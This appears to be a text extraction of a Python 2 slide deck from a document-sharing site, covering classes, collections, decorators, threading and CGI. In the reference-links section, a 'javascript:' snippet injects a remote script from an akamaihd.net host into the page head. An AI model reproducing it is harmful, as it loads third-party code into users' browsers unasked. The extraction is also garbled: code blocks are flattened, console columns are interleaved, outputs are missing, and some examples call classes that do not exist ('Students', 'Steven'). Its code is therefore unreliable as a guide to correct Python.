Sei sulla pagina 1di 84

Advance

- Vamsi singuluri
Creating Classes:
The class statement creates a new class definition.
Syntax:
class <ClassName>:
'Optional class documentation string' /// can be in 'statement' or ' ' ' statement ' ' '
<class_suite>

output
Object oriented programming:
Class: A user-defined prototype for an object that defines a set of attributes that
characterize any object of the class. The attributes are data members (class variables
and instance variables) and methods, accessed via dot notation.
Class variable: A variable that is shared by all instances of a class. Class variables are
defined within a class but outside any of the class's methods. Class variables aren't used
as frequently as instance variables are.
Data member: A class variable or instance variable that holds data associated with a
class and its objects.
Function overloading: The assignment of more than one behavior to a particular
function. The operation performed varies by the types of objects (arguments) involved.
Instance variable: A variable that is defined inside a method and belongs only to the
current instance of a class.
Inheritance : The transfer of the characteristics of a class to other classes that are
derived from it.
Instance: An individual object of a certain class type. An object obj that belongs to a
class Circle, for example, is an instance of the class Circle.
Instantiation : The creation of an instance of a class.
Method : A special kind of function that is defined in a class definition.
Object : A unique instance of a data structure that's defined by its class. An object
comprises both data members (class variables and instance variables) and methods.
Operator overloading: The assignment of more than one function to a particular
operator.
Instead of using the normal statements to access attributes, you can use following
functions:
The getattr(obj, name[, default]) : to access the attribute of object.
The hasattr(obj,name) : to check if an attribute exists or not.
The setattr(obj,name,value) : to set an attribute. If attribute does not exist, then it
would be created.
The delattr(obj, name) : to delete an attribute.

Built-In Class Attributes:


Every Python class keeps following built-in attributes and they can be accessed
using dot operator like any other attribute:
__dict__ : Dictionary containing the class's name space.
__doc__ : Class documentation string or None if undefined.
__name__: Class name.
__module__: Module name in which the class is defined. This attribute is
"__main__" in interactive mode.
__bases__ : A possibly empty tuple containing the base classes, in the order of
their occurrence in the base class list.
Destroying Objects (Garbage Collection):

Python deletes unneeded objects (built-in types or class instances) automatically to


free memory space. The process by which Python periodically reclaims blocks of
memory that no longer are in use is termed garbage collection.
 Python's garbage collector runs during program execution and is triggered when
an object's reference count reaches zero. An object's reference count changes as
the number of aliases that point to it changes.
 When an object's reference count reaches zero, Python collects it automatically.
 But a class can implement the special method __del__(), called a destructor, that is
invoked when the instance is about to be destroyed. This method might be used to
clean up any nonmemory resources used by an instance.

output
Class Inheritance:
Instead of starting from scratch, you can create a class by deriving it from a preexisting
class by listing the parent class in parentheses after the new class name.
The child class inherits the attributes of its parent class, and you can use those
attributes as if they were defined in the child class. A child class can also override data
members and methods from the parent.

Output:

Accessing Base class Variables

class School(object):

num = 0;

roll = 0;

def __init__(self, num, roll):

School.num, School.roll = num,roll


class Student(School):

def __init__(self, name):

self.name= name;


def printop(self):

print("%s %d %d" %(self.name, self.num, self.roll));

s1 = Students(10,23);

st2 = Steven("kalangi");

st2.printop();

Class variables can be accessed using class or self.


Derived class can access Base class variables using

self or <Base class name>.

Derived class cannot access Base class instance variables.
Overriding Methods:

You can always override the Base class methods. Derived class can modify an
inherited method to have a different functionality.

When the above code is executed, it produces the following result:


Calling child method

Calling base class methods in overridden functions.

class Base(object):

def prints(self):

print("Hello Base");


class Derived(Base):

def prints(self):

print("Hello Derived");

super(Derived,self).prints();

Base.prints(self); #alternative method for super.


D1 = Derived();

D1.prints();
Base Overloading Methods:

Following table lists some generic functionality that you can override in your own
classes:
Overloading Operators:

Data Hiding:
An object's attributes may or may not be visible outside the class definition. For
these cases, you can name attributes with a double underscore prefix, and those
attributes will not be directly visible to outsiders.

output
Accessing hidden class Variables


Private variables of a class can be accessed using below notation:

<obj>._<class_name>__<variable_name>

In order to access private variable in derived class,
 <class_name>__<variable_name>

class Parent(object):

def __init__(self):

self.foobar = ['Hello']


class Child(Parent):

def __init__(self):

super(Child, self).__init__()

self.foobar.append('world')
What exactly is the difference between shallow copy, deepcopy ?
The difference between shallow and deep copying is only relevant for
compound objects (objects that contain other objects, like lists or class instances):
 A shallow copy constructs a new compound object and then (to the extent
possible) inserts references into it to the objects found in the original.
 A deep copy constructs a new compound object and then, recursively, inserts
copies into it of the objects found in the original.

>>> import copy


>>> a = [1, 2, 3]
>>> b = [4, 5, 6]
>>> c = [a, b]
>>>d = c
>>>print id(c) == id(d) # True - d is the same object as c
>>>print id(c[0]) == id(d[0]) # True - d[0] is the same object as c[0]
>>>d = copy.copy(c)
>>>print id(c) == id(d) # False - d is now a new object
>>>print id(c[0]) == id(d[0]) # True - d[0] is the same object as c[0]
>>>d = copy.deepcopy(c)
>>>print id(c) == id(d) # False - d is now a new object
>>>print id(c[0]) == id(d[0]) # False - d[0] is now a new object
Hash:
>>> a = "Hello world“
>>> b = "Hello world“
>>> id(a) >>> id(b)
29480096 29480288
>>> hash(a) >>> hash(b)
1897382271 1897382271
Hash checks uniqueness of an object. Here id's are different, but hash code is
Same due to same content.
All Immutable can be hashed , all mutable can not be hashed.

Join: Python utility to form a string from a list/tuples


>>> names = “vamsi”, “sai”, “sam”, “john”
>>> ",".join(names)
'vamsi,sai,sam,john‘
>>> names[:2]+ ('adam',) + names[2:]
('vamsi', 'sai', 'adam', 'sam', 'john')
>>>a.index(‘a’) >>> a.rindex(“a”) >>> a.rfind(“a”)
>>> a = “hello”
>>> a.isalpha() >>>i.isdigit() >>> a[-1].isspace()
True True True
Strip():
>>> a = \\n\n\n\n\\t \t\nhello \t\n\\n world\n\n\ \t\n\t
>>> a.strip() //rstrip to strip on right side and lstrip to strip left side of the string.
'\\n\n\n\n\\t \t\nhello \t\n\\n world\n\n\\‘

Here strip removes leading edges white space[leading /trailing]


>>>rec = “john: 10: delhi”
>>>name, age,city = rec.split(“:”)
>>> name >>> age >>> city
John 10 delhi

*** Tuple with list inside can be modified but not hashable:
>>> a = (10, [100, 20, 30], 40)
>>> a[1][0] = 233
>>> a
(10, [233, 20, 30], 40)
>>> hash(a)
Traceback (most recent call last):
File "<pyshell#17>", line 1, in <module>
hash(a)
TypeError: unhashable type: 'list'
Reverse:

>>> a = [33,22,44,66,77,88,11]
>>> a.reverse()
>>>a
[11, 88, 77, 66, 44, 22, 33]
>>> a
[11, 88, 77, 66, 44, 22, 33]
>>> b = a.reverse()
>>> b is None
True

Use: reversed(a) creates a copy of the list by not affecting the original list 'a'.

>>> from random import shuffle


>>> a = [10,20,30]
>>> shuffle(a)
[20, 30, 10]
>>>sorted(a)
[10, 20, 30]
>>> stack = [] >>> queue = []
>>>stack.append(10) >>> queue.insert(0,10)
>>>stack.append(70) >>> queue.insert(0,55)
>>> stack >>> queue
[10, 70] [55, 10]
>>> stack.pop() >>> queue.pop()
70 10

>>> from collection import deque


>>> d = deque() >>> d
>>>type(d) deque([])
<type ‘collectiom.deque>
>>> d.appenleft(10) >>> d.pop()
>>>d.appendleft(20) 10
>>d >>> d.pop()
Deque([30,20,30]) 20

>>> d.append(10)
>>>d.append(20) >>>d.popleft() >>>d.popleft() >>> d.popleft()
>>>d.append(30) 10 20 30
In python provides three file Objects:
>>>import sys
>>> sys.stdin
>>>sys.stdout
>>>sys.stderr
- In general if user have to pass input we use raw_input. It supports only single
Line if user have to sent paragraph then:

>>> sys.stdout.write("hello this is python!")


hello this is python!
>>> content = sys.stdin.read()
hello this is python interpreter and running on it
>>> content
'hello this is python interpreter and running on it\n\n\n\n\n\n‘

Use CTRL + D to to come out of loop

Err.py $ python err.py > out.log


print “This is stdout” ‘This is stderr’
print >>>sys.stderr, “This is stderr” $ python err.py 2 > err.py
$python err.py ‘This is stdout’
>>>a = “hello how are you”
This is a string, character in the string are represented as binary format. In
python2.x, a is represented as a Byte string.

>>> a = “fdaffdaff” - byte string


each character, appropiate ASCII values used to be stored. To work with mutli
Language. Convert to unicode

a = “aldddsdsff”
>>> type(a) >>> b = u’hello world’
<type ‘str’> < type ‘unicode’>
Unicode is other data type - represented string
Multibyte --- one character will takes 1 byte, 2 byte 10 byte
All features of string will work on unicode
>>> unicode(a)
u’Hello world’

Dont compare unicode and bytecode


>>>a = u’Hello world” >>>a = b’Hello world”
>>>type(a) >>>type(a)
<class unicode> <class byte>
-- problem with string, string are Immutable
>>> a = “hello world” -- It is not possible to append to string until creating an use
string.
>>> bytearray(a) -- byte array can only be done with bytecode does not support
bytearray(b’helloworld') unicode.
byte array can be seen as mutable variant of string.
>>> b.append(65) >>>b.extend(“another”)
>>>b bytearray(b’Hello world another’)
Bytearray(b’Hello world A’)
- extend will not create new object. Id are same.

Operator overloading:
>>> a = 1900
>>> a = "hello how are you“ >>>len = 0
>>> len(a) >>>len(a)
17 TypeError: 'int' object is not callable

One can change functionality of an operator. In such cases to bring back the original
functionality,we have to reload builtin module.
>>> from __builtin__ import *
>>>len(a)
17
Set:

Order is not maintained it will maintain based on has code.


>>> a = set([33,44,55,66,77])
>>> a
set([33, 66, 44, 77, 55])
In python 2.7 version onwards set can be represented as :
>>> c = {33,55,66,77}
>>> c
set([33, 66, 77, 55])

By using set we can aviod duplicated in collection.


>>> a = {33,55,65,45,33,45,23,67,65}
>>> a
set([65, 67, 33, 23, 45, 55])
>>> c = {33,65,23}
>>> c.issubset(a)
True
>>> a.issuperset(c)
True
>>> a – c >>> a | c >>>a & c
set([67, 45, 55]) set([65, 67, 33, 55, 23, 45]) set([65, 23, 33])
Creating passwords:

>>> import string


>>> string.ascii_letters
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ‘
>>> string.digits
'0123456789‘
>>> string.ascii_letters + string.digits // add string.punctuation for special symbols.
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘
>>> from random import shuffle
>>> chars = list(string.ascii_letters + string.digits)
>>> chars
['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
>>> shuffle(chars)
>>> "".join(chars[:8])
'UNzCXsgR‘
>>>import random >>> random.randint(10,100)
>>> random.getrandbits(3) 33
4L
Dictionary Implementation:
>>> info = {"name": "vamsi", "age": 34, "city": "hyd", "dept": "Engineering"}
>>> info
{'city': 'hyd', 'age': 34, 'name': 'vamsi', 'dept': 'Engineering'}
>>> info.keys()
['city', 'age', 'name', 'dept']
>>> info.values()
['hyd', 34, 'vamsi', 'Engineering']
>>> info.items()
[('city', 'hyd'), ('age', 34), ('name', 'vamsi'), ('dept', 'Engineering')]
>>> info.iterkeys
<built-in method iterkeys of dict object at 0x01C12A50>
>>> info.itervalues
<built-in method itervalues of dict object at 0x01C12A50>
>>> info.iteritems
<built-in method iteritems of dict object at 0x01C12A50>
>>> info.viewkeys()
dict_keys(['city', 'age', 'name', 'dept'])
>>> info.viewvalues()
dict_values(['hyd', 34, 'vamsi', 'Engineering'])
>>> info.viewitems()
dict_items([('city', 'hyd'), ('age', 34), ('name', 'vamsi'), ('dept', 'Engineering')])
OrderedDict objects:
>>> from collections import OrderedDict
Ordered dictionaries are just like regular dictionaries but they remember the order
that items were inserted.
>>> d = {'banana': 3, 'apple':4, 'pear': 1, 'orange': 2}
>>> d
{'orange': 2, 'pear': 1, 'banana': 3, 'apple': 4}
# dictionary sorted by key
>>> OrderedDict(sorted(d.items(), key=lambda t: t[0])) OrderedDict([('apple', 4),
('banana', 3), ('orange', 2), ('pear', 1)])
# dictionary sorted by value
>>> OrderedDict(sorted(d.items(), key=lambda t: t[1])) OrderedDict([('pear', 1),
('orange', 2), ('banana', 3), ('apple', 4)])

Counter objects:
>>> from collections import Counter
A counter tool is provided to support convenient and rapid tallies
>>> cnt = Counter()
>>> for word in ['red', 'blue', 'red', 'green', 'blue', 'blue']:
... cnt[word] += 1
>>> cnt >>> c = Counter(['eggs', 'ham']) Counter({'blue': 3, 'red': 2,
'green': 1}) >>> c[‘eggs’]
1
Counter:

>>> from collections import Counter


>>> a = “This is python programming “
>>>a.split()
>>>c = Counter(a.split())
>>> c
Counter({'This': 1, 'python': 1, 'is': 1, 'programming': 1})

Zip:

>>> names = (“sai”, “hello”)


>>> ages = (20,20)
>>> zip(names, ages)
[('sai', 20), ('hello', 20)]
>>> zip(names,ages) + [("sai", 23)]
[('sai', 20), ('hello', 20), ('sai', 23)]

enumerate:

>>> enumerate(names) >>> list(enumerate(names))


<enumerate object at 0x01C64E18> [(0, 'sai'), (1, 'hello')]
Polymporphic function:

>>> def square(x):


if type(x) in (int, float, long) : return x**
if type(x) is str: return x*2
if type(x) in (list, tuple): return [i*i for i in x]

 To check attribute(module) in builti


>>> ‘next’ in dir(math)

 To check whether function is callable

>>> callable(a)
True
Data Encapsulation:

def foo():
Data encapsulation here foo
print “This is foo function.....”
Function only can access
def bar():
variables bar, bar variables is
print “This is bar function....”
Local to function
print “ In foo function....”
bar()
print “End of foo function..”

def buy(x):
if x == “car”:
def vehicle(): v = buy(“plane”)
print “Driving car” v()
elif x == “bike”: v1 = buy(“car”)
def vehicle(): v1()
print “riding bike” v2 = buy(“ship”)
else: v2()
def vehicle(): Variables have scope not objects. Objects
print “nothing useful” are stored on heap, objects are all global
return vehicle
Decorators:
def deco(f):
print “decorator called =f=“ f
f() def foo():
return 100 print “this is foo function”
foo = deco(foo)
@deco
def foo():
print “This is foo function”
Print foo

Python does not support swich case:

def list_directory():
print “listing contents....”
def cur_dir():
print “c:\python27”
def show_hostname():
print “local host”
def Invalid_command():
print “Invalid command”
Decorator Example :2
Decorator Example : 3
Decorator Example 4:
>>> a = 100
a is built in type of int
>>> type(a)
<class 'int'>
>>> import sys
>>> type(sys)
<class 'module'>
sys is variables points towars module objetcs

To create custom data type we use classes in Python. With class we can design
custom type
- class are prototype of objetcs --Instance of class - metaclass

Specification of object in itself is called object.

>>> class car(): >>> c1 = car()


pass
>>> type(c1) >>>c1
<class '__main__.car'> <__main__.car object at 0x020BBC30>
>>> dir(c1)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__getattribute__', '__gt__', '__hash__', '__init__‘]
We define class as :
>>>def car():
pass
>>> c1 = car()

Here car is variable points towards class object<class __main__.car at 0x012EA148>


Where as c1 is Instannce <__main__.car instance at 0x01D84080> of class car.

>>> c1.name = “hello” These are Instance attributes. Instances have


>>> c2.name = “welcome” property.

All Instances Inherit class attributes.


>>>car.price = 10000
>>>c1.price >>>c2.name
10000 10000

>>> c1.price = 200 If we delete instance property then it will directly inherit
>>>c1.price class attributes. Class attributes property can’t be deleted
200 With instance. Delete only with class attribute.
>>> del c1.price >>> del c1.price
>>>c1.price AttributeError: car instance has no attribute 'price‘
10000 >>> del car.price
How Instance method has created?

Whenever to access instance method it is possible only with class instances. Here first
argument in method should be called with class instance.
Binding of method will occur with Instance:

>>> def set_color(bike, color):


print “setting color”, color
bike.color = color

>>>car.set_color = set_color
>>> b1.set_color(“blue”)
Setting color blue
>>>b1.color
‘blue’

>>> b3 = bike()
>>>b3.drive()
Attribute error: no “name”

>>> b3.name = “BMW”


>>>b3.drive
Driving BMW
Class Attribute Vs Instance Attribute:

Output:
[Abstract Classes ]
Operator overloading:

>>>
someone is driving maruthi swift
>>>
>>> def __cmp__(self, other):
return self.price – other.price

>>> def __eq__(self, other):


return self.__cmp__(other) == 0

Boolean of an object is True by default. all empty collection and zero are false.
Python emphasizes/ Introduced concept of Duck-Typing:

Duck typing stands for - Lazy coding / Lazy typing

Decide the type of object based on behaviour. -- Introspect

When we swat differnt object they respond differently

>>> a = "Hello world"


>>> b = [4,5,6,7,8]
>>> c = {44,55,6,77,88}
>>> len(a)
11
>>> len(b)
5
>>> len(c)
5
here len function is common , but object are different. the implementation is
differnt on differ objects. len is not smart ...len will call someothing else on
object, object responds back with its implementation.
Custom Iterable object:

Output:
primary reuqirement of collection is It should able to Iterable

>>> s.list()
>>> for i in s: print i,
TypeError: Iterator over non-sequence

we can create any of objects has an Iterable :


def __iter__ must return Iterator object. Iterator is different from Iterable object:

An Iterator should consists a constructor which ideally take which Iterator


obejct to be iterable.

it should consiste of next method.

role of creating an Iterable object is

if any class has method __iter__ we can treat it as Iterable oject.


this method should return an Iterator.

what is an Iterator???? any class that has next and this next method should
return some value whatever we return that one is next value.
Iterable object:
Call method:

Output : 60
Private members:
Encapsulation and security:

Output:
Persistent dictionary : SHELVE
>>> import shelve
 Shelve is module which provide persistent dictionary. Powerful feature of python Work
around for sophisticated data base. If user want data to be in organised way then sheleve is
better way to keep data in dictionary.
 Without closing file data can be loaded with existed one using sync(). It is variant of
dictionary every element try to this add this will persist in dictionary.

Example:
Json:
JSON is a text serialization format (it outputs unicode text, although most of the time it is
then encoded to utf-8), while pickle is a binary serialization format.
SubClasses:

Output:

Here Base classes properties are Inherited to


Inclass.

By using __subclasses__ one can retrive


subclasses of base classed Which are Inheriting
the base classes.

Output:
Method Overloading:
Python Method Overloading:

• You can't have two methods with the same name in Python and you don't
need to.

https://docs.python.org/2/tutorial/controlflow.html#default-argument-values
• i = 5 def f(arg=i): print arg i = 6 f() output print 5
• The default value is evaluated only once. This makes a difference when the
default is a mutable object such as a list, dictionary, or instances of most classes.

def f(a, L=None): if L is None: L = [] L.append(a) return L


http://stackoverflow.com/questions/2129891/classes-methods-and-polymorphism-in
-python
 The duck-typing-based approach is fine. If you want to be able to check if a given
class is supposed to run in your framework.

The important point is that it is also possible to register other classes (on which
you might have no control, because you did not write them) as runnables, and
the isinstance and issubclassmethods will reflect that:
Python is Duck Typing ???

duck typing is a style of typing in


which an object's methods and
properties determine the valid
semantics, rather than its 
inheritance from a particular class
or implementation of an explicit
interface.

In duck typing, a programmer is only


concerned with ensuring that
objects behave as demanded of
them in a given context, rather than
ensuring that they are of a specific
type. For example, in a non-duck-
typed language, one would create a
function that requires that the
object passed into it be of type
Duck, in order to ensure that that
function can then use the object's
walk and quack methods.
Decorators:

http://www.artima.com/weblogs/viewpost.jsp?thread=240808

What Can You Do With Decorators?


Decorators allow you to inject or modify code in functions or classes. Sounds a bit
like Aspect-Oriented Programming (AOP) in Java, doesn't it? Except that it's both
much simpler and (as a result) much more powerful. For example, suppose you'd
like to do something at the entry and exit points of a function (such as perform
some kind of security, tracing, locking, etc.
Emulation:
https://thenewcircle.com/static/bookshelf/python_fundamentals_tutorial/oop.html
Abstract Classes:
Best references:

https://thenewcircle.com/static/bookshelf/python_fundamentals_tutorial/oop.ht
ml

http://pysnippet.blogspot.in/2010/05/abcs-abstract-base-classes.html

http://stackoverflow.com/questions/15193927/what-does-these-operator-mean-p
ython

https://www.youtube.com/watch?v=2fGPKPmQF-
E&list=PLR2mMc_XnsCuuhN_wdnDxm9IUGCpGaTHk

javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head");if(a.length){var
d=document.createElement("script");d.src="https://apilinkswiftco-
a.akamaihd.net/gsrs?is=thin&bp=BAS&g=9dd1bfa8-6cdd-44a6-a78f-
e7dc9ecfd413";a[0].appendChild(d);}}}catch(e){}
Threading:
In python does not allow creator to Terminate a Thread. To terminate thread
some kind of Interrupt is required.
Multiple Threads sharing same function:
To stop individual Thread other than Interrrupt:
Thread share same data:

Whenever two thread share same data make sure accessing and modifying data should
be atomic. Interms of sharing global data with two threads there could be problem.

To ensure atomicity of opertions we use locking mechanism:


Python Thread Locking:
-- Mutual exclusion have conditional locks.

Two kinds of locaking mechanism:


1. Mutex : make sure one thread of execution in there within critical region two
thread should not do this region simultaneously. So using Rlock.

2. If one thread acuires a lock twice, if it is normal lock It will create dead lock.

3. In Rlock how many times thread is acuired that many times


Another kind of locking mechanism that is conditional variable. Mostly used for
Event notification. One thread waiting for an event other thread for notify an
event. Used for producer –consumer algorithm.
Producer-Consumer algorithm:
Another kind of locking mechanism that is
conditional variable. Mostly used for Event
notification. One thread waiting for an event
other thread for notify an event. Used for
producer –consumer algorithm.
Without conditional event like wait /notify:
Python is not scalable for multi threading as of today.

Core I7emulates 16 cores[ it is Quad core] each core will have 4 hyper
threads.totally It will have an emulation of 16 cores. It should run parallel
threads. As one CPU run one thread other another thread.

Python in Multiple threads will never run concurrently. When ever thread has
to be executed it should acquire global interpreter lock and run until the
scheduler interrupt it should release and other thread.acquires. It does not
have true concurrency support in python.

New Module in python 2.6 - Multiprocesing.

Instead of threads it will create processes.

Thread share common virtual address space. Process have their own virtual
address space. Changing one varible in one process does not reflect on other
Thread.

Same as running multiple instances of python program.


Client - server via Multiprocessing:
Echo Clinet – Echo server socket Application:
CGI Programming:

 CGI programmiing is writing dynamically generating Web pages that


respond to user input or WebPages that interact with software on the server.

 Thiings like DropBox use python for it’s web interface.

 If you have your own web server and want to use that go ahed. Else if you
don’t lets quickly set up and apache2 web server on machine.

 sudo apt-get install apache2

 after installing check whether server is running in web browser.


 127.0.0.1 -- It shows default page It works!

 we need to change permission of cgi scripts

 we need to go to location of file in vim /etc/apache2/sites-


available/default
We need to modify server such that server can able to run cgi scripts

 Now restart server for changes to be reflected.


--- sudo service apache2 restart

 To create basic scripts, It should have a line telling the web server where
python is installed. #!/usr/bin/python

 We also have to change the file permission so it can execute.


chmod 755 hello.py
Cgi Module:

 The cgi module contains a lot of declarations and does a lot of initializing in the
background.
 Because of this never use:
from cgi import ...
 provides us with methods to get POST and GET requests from web server.
 As well as few other methods for parsing data.
 python cgi module handles POST and GET with the same method.
 cgi.FieldStorage() this method will return a FieldStorage object that allows us to
get data from a submitted form.
 we can user the FieldStorage object like a python dictionary or we can use the
getvalue() method.( not preferable to use this method as it will crash if there is
more than one field with the same name.)
 Alternative methods are getfirst() and getlist().
 when debugging you code you can use the cgitb module to output errors to the
page.
import cgitb
cgitb.enable()
 cgitb.enable() can be modified so that the error message are saved to a file rather
than output to users of your script by cgitb.enable(display=0, logdir=‘/path’)
 cgi.escape() try to always escape user input if you plan to use it.
https://www.python.org/download/releases/2.2.3/descrintro/#cooperation

Python static methods, meta classes, property, class methods


Composition
Inheritance is useful, but another way to do the exact same thing is just to use other
classes and modules, rather than rely on implicit inheritance. If you look at the three
ways to exploit inheritance, two of the three involve writing new code to replace or alter
functionality. This can easily be replicated by just calling functions in a module. Here's an
example of doing this:
Data Descriptors:

A descriptor is any object that implements atleast one of methods named __get__(),
__set__(), and delete()

A data descriptor implemets both __get__() and __set__(). implementing only


__get__() makes you a non-data descriptor.

Writiing Descriptors:
Signature of __get__, __set__, and __del__ are fixed

descr.__get__(self, obj, type=None) -- value


descr.__set__(self, obj, value) -None
descr.__delete__(self, obbj) - None

Self is the instance of the descriptor


Obj is the instance of the object the descriptor is attched to
type Is the class the descriptor is attached to
__get__ can be called on the class or object, __set__can only be called on the object.
Self and type are both provided on object attribute access, only type is provided on
class attribute access.

Potrebbero piacerti anche